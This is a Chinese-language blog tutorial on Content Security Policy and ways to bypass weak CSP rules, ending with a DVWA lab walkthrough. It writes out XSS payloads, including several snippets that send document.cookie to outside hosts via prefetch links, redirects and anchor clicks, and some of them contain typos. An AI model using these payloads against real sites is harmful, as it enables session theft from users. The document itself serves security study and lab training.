CSP内容安全策略原理与绕过

发布于:2022-11-09 ⋅ 阅读:(9) ⋅ 点赞:(0) ⋅ 评论:(0)

CSP介绍

Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。

CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。

一个简单的CSP规则可能就是下面这样

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;"); 

其中的规则指令分很多种,每种指令都分管浏览器中请求的一部分。

image-20220831113140031

每种指令都有不同的配置

image-20220831113212656

简单来说,针对不同来源,不同方式的资源加载,都有相应的加载策略。

我们可以说,如果一个站点有足够严格的CSP规则,那么XSS or CSRF就可以从根源上被防止。

但事实真的是这样吗?

CSP Bypass

CSP可以很严格,严格到甚至和很多网站的本身都想相冲突。

为了兼容各种情况,CSP有很多松散模式来适应各种情况。

在便利开发者的同时,很多安全问题就诞生了。

CSP对前端攻击的防御主要有两个:

1、限制js的执行。
2、限制对不可信域的请求。

接下来的多种Bypass手段也是围绕这两种的。

1

header("Content-Security-Policy: default-src 'self '; script-src * "); 

天才才能写出来的CSP规则,可以加载任何域的js

<script src="http://lorexxar.cn/evil.js"></script> 

随意开火

2

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

最普通最常见的CSP规则,只允许加载当前域的js。

站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。

alert(1);// 

直接加载图片就可以了

<script src='upload/test.js'></script> 

3

header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ "); 

当你发现设置self并不安全的时候,可能会选择把静态文件的可信域限制到目录,看上去好像没什么问题了。

但是如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。

假设static目录下存在一个302文件

Static/302.php 
<?php Header("location: ".$_GET['url'])?> 

像刚才一样,上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行

<script src="static/302.php?url=upload/test.jpg"> 

4

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。

在上面的CSP规则下,如果我们尝试加载外域的图片,就会被阻止

<img src="http://lorexxar.cn/1.jpg">  ->  阻止 

在CSP的演变过程中,难免就会出现了一些疏漏

<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome) 
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS预加载) 

在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP规则。

5

无论CSP有多么严格,但你永远都不知道会写出什么样的代码。

下面这一段是Google团队去年一份关于CSP的报告中的一份范例代码

// <input id="cmd" value="alert,safe string">  
var array = document.getElementById('cmd').value.split(',');
 window[array[0]].apply(this, array.slice(1)); 

机缘巧合下,你写了一段执行输入字符串的js。

事实上,很多现代框架都有这样的代码,从既定的标签中解析字符串当作js执行。

angularjs甚至有一个ng-csp标签来完全兼容csp,在csp存在的情况下也能顺利执行。 

对于这种情况来说,CSP就毫无意义了

6

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

或许你的站内并没有这种问题,但你可能会使用jsonp来跨域获取数据,现代很流行这种方式。

但jsonp本身就是CSP的克星,jsonp本身就是处理跨域问题的,所以它一定在可信域中。

<script 
src="/path/jsonp?callback=alert(document.domain)//"> 
</script> 
 /* API response */ 
alert(document.domain);//{"var": "data", ...}); 

这样你就可以构造任意js,即使你限制了callback只获取\w+的数据,部分js仍然可以执行,配合一些特殊的攻击手段和场景,仍然有危害发生。

唯一的办法是返回类型设置为json格式。

7

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' "); 

比起刚才的CSP规则来说,这才是最最普通的CSP规则。

unsafe-inline是处理内联脚本的策略,当CSP中制定script-src允许内联脚本的时候,页面中直接添加的脚本就可以被执行了。

<script> 
js code; //在unsafe-inline时可以执行 
</script> 

既然我们可以任意执行js了,剩下的问题就是怎么绕过对可信域的限制。

1 js生成link prefetch

第一种办法是通过js来生成link prefetch

var n0t = document.createElement("link"); 
n0t.setAttribute("rel", "prefetch"); 
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie); 
document.head.appendChild(n0t); 

这种办法只有chrome可以用,但是意外的好用。

2 跳转 跳转 跳转

在浏览器的机制上, 跳转本身就是跨域行为

<script>location.href=http://lorexxar.cn?a+document.cookie</script> 
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]"> 

通过跨域请求,我们可以把我们想要的各种信息传出

3 跨域请求

在浏览器中,有很多种请求本身就是跨域请求,其中标志就是href。

var a=document.createElement("a"); 
a.href='http://xss.com/?cookie='+escape(document.cookie); 
a.click(); 

包括表单的提交,都是跨域请求

CSP漏洞 DVWA靶场

初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>

image-20220831141250669

观察头信息,罗列允许JavaScript的网站 当然你也可以从这里开发者工具来看到这个头

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com ht

此时可以上pastebin网站上自己写一个javascript代码alert(123),保存后记住链接

https://pastebin.com
https://pastebin.com/tV3VNjiB
#如下操作

image-20220831141336603

然后在上面界面中输入链接,结果如下

image-20220831141347706

在pastebin上保存的js代码被执行了。那就是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在收信任的网站上,然后把链接发送给用户点击,实现注入。